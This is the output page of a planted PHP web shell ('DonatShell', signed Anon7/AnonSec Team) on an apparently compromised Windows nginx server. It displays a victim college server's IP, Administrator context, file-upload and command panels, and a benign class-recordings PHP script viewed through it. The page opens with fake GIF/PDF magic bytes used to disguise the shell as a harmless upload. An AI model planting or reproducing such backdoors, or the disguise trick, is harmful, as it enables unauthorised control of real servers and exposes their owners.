GIF89a; %PDF-1.5 %���� ºaâÚÎΞ-ÌE1ÍØÄ÷{òò2ÿ ÛÖ^ÔÀá TÎ{¦?§®¥kuµù Õ5sLOšuY Donat Was Here
DonatShell
Server IP : 134.29.175.74  /  Your IP : 216.73.216.160
Web Server : nginx/1.10.2
System : Windows NT CST-WEBSERVER 10.0 build 19045 (Windows 10) i586
User : Administrator ( 0)
PHP Version : 7.1.0
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : OFF  |  Perl : OFF  |  Python : OFF  |  Sudo : OFF  |  Pkexec : OFF
Directory :  C:/nginx/html/common/Class/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ HOME SHELL ]     

Current File : C:/nginx/html/common/Class/Recordings.phpinc
<?
// common/Class/Recordings.phpinc
// Display a list of class Recordings.

//$skipAuthentication = true; // Uncomment for after section authentication.
require('application.phpinc');

$courseNumber = formValue("Course","");
$ClassRoster = formValue("ClassRoster","");
if ($courseNumber != '' && isset($_GET['ClassRoster'])) include ('Course/CourseRoster.phpinc');

$currentPath = explode("/",$_SERVER['PHP_SELF']);
#printVar('count($currentPath)',count($currentPath));
if (count($currentPath) >= 5) {
	$courseNumber = $currentPath[count($currentPath)-3];
	$headTitle = '_CST_ - '.$courseNumber.' Class Recordings';
	$pageTitle = '_CST_<br>'.$courseNumber.' Class Recordings';
	$courseNumber = $currentPath[count($currentPath)-3];
	$f_courseNumber = $courseNumber;
	$instructor = $currentPath[count($currentPath)-4];
	$CDN = courseDeptNumber($courseNumber);
	$pageMenu = 'Course/courseMenu.phpinc';
	$sectionTitle = $f_courseNumber." Class Recordings";
} else {
	$headTitle = '_CST_ - Class Recordings';
	$pageTitle = '_CST_<br>Class Recordings';
	$sectionTitle = "Class Recordings";
}
require('common/pageHeader.phpinc');
//require('Login/authenticate.phpinc'); // Uncomment for after section authentication.
require('common/sectionHeader.phpinc');

function file_extension($filename)
{
    $path_info = pathinfo($filename);
		#printVar('$path_info',$path_info);
		if (isset($path_info['extension'])) {
			return $path_info['extension'];
		} else {
			return '';
		}
}
// Look for recordings.
$fileExtensions = array('mp4','txt','URL','wrf');
$getDir = $_SERVER['DOCUMENT_ROOT'];

$RecordingDirectory = opendir(".");
// Get all subdirectories.
$RecordingSubdirectories = array();
while($entryName = readdir($RecordingDirectory)) {
	if (filetype($entryName) == 'dir' && $entryName != '..' && substr($entryName,0,1) != '_') {
		if ($entryName != '.') {
			$RecordingSubdirectories[] = './'.$entryName;
		} else {
			$RecordingSubdirectories[] = $entryName;
		}
	}
}
// close directory
closedir($RecordingDirectory);
#printVar('$RecordingSubdirectories',$RecordingSubdirectories);

// open each directory and get each file.
$Recordings = array();
$Recordings['file'] = array();
$Recordings['directory'] = array();
foreach ($RecordingSubdirectories as $currentDirectory) {
	#printVar('$currentDirectory',$currentDirectory);
	if ( !stristr($currentDirectory,'xArchive') ) {
		$RecordingDirectory = opendir($currentDirectory);
		while($entryName = readdir($RecordingDirectory)) {
			#printVar('$entryName',$entryName);
			#printVar('filetype($entryName)',filetype($entryName));
			if (in_array(file_extension($entryName),$fileExtensions)) {
				$Recordings['file'][] = $entryName;
				$Recordings['directory'][] = $currentDirectory;
			}
		}
		closedir($RecordingDirectory);
	}
}

print ("<br>\n");

#printVar('$Recordings',$Recordings);
#natcasesort($Recordings);
#printVar('$Recordings',$Recordings);

// Display links to the class recordings.
if (isset($Recordings)) {
	//	count elements in $Recordings
	$RecordingsCount	= count($Recordings['file']); if ( !isset($Recordings['file'][0]) ) $RecordingsCount = 0;
	if ($RecordingsCount > 1) {
		$fileCount =  "$RecordingsCount class recordings.";
	} else {
		$fileCount =  "1 class recordings.";
	}
	$fileCount .= '<span class="small"> (In reverse order)</span>';
	// sort them.
	// display links to them.
	print("<table border=1 cellpadding=5 cellspacing=0 class=whitelinks>\n");
	print('<tr><th colspan="3">'.$fileCount.'</th></tr>'."\n");
	print("<tr><th>Directory</th><th>Recording Filename</th><th>Recording size</th></tr>\n");
	// loop through the array of files and print them all
	for($index=$RecordingsCount-1; $index >= 0 ; $index--) {
		#if (substr("$Recordings[$index]", 0, 1) != "."){ // don't list hidden files.
?>
		<tr><td><?=str_replace(array("./","."),"",$Recordings['directory'][$index])?></td><td><a href="<?=$Recordings['directory'][$index]?>/<?=$Recordings['file'][$index]?>"><?=$Recordings['file'][$index]?></a></td><td><?=filesize($Recordings['directory'][$index].'/'.$Recordings['file'][$index])?></td></tr>
<?
		#}
	}
	print("</table>\n");
} else {
	print("<table border=1 cellpadding=5 cellspacing=0 class=whitelinks>\n");
	print('<tr><th colspan="2">No class recordings.</th></tr>'."\n");
	print("</table>\n");
}


require('common/sectionFooter.phpinc');
require('common/pageFooter.phpinc');
?>

Anon7 - 2022
AnonSec Team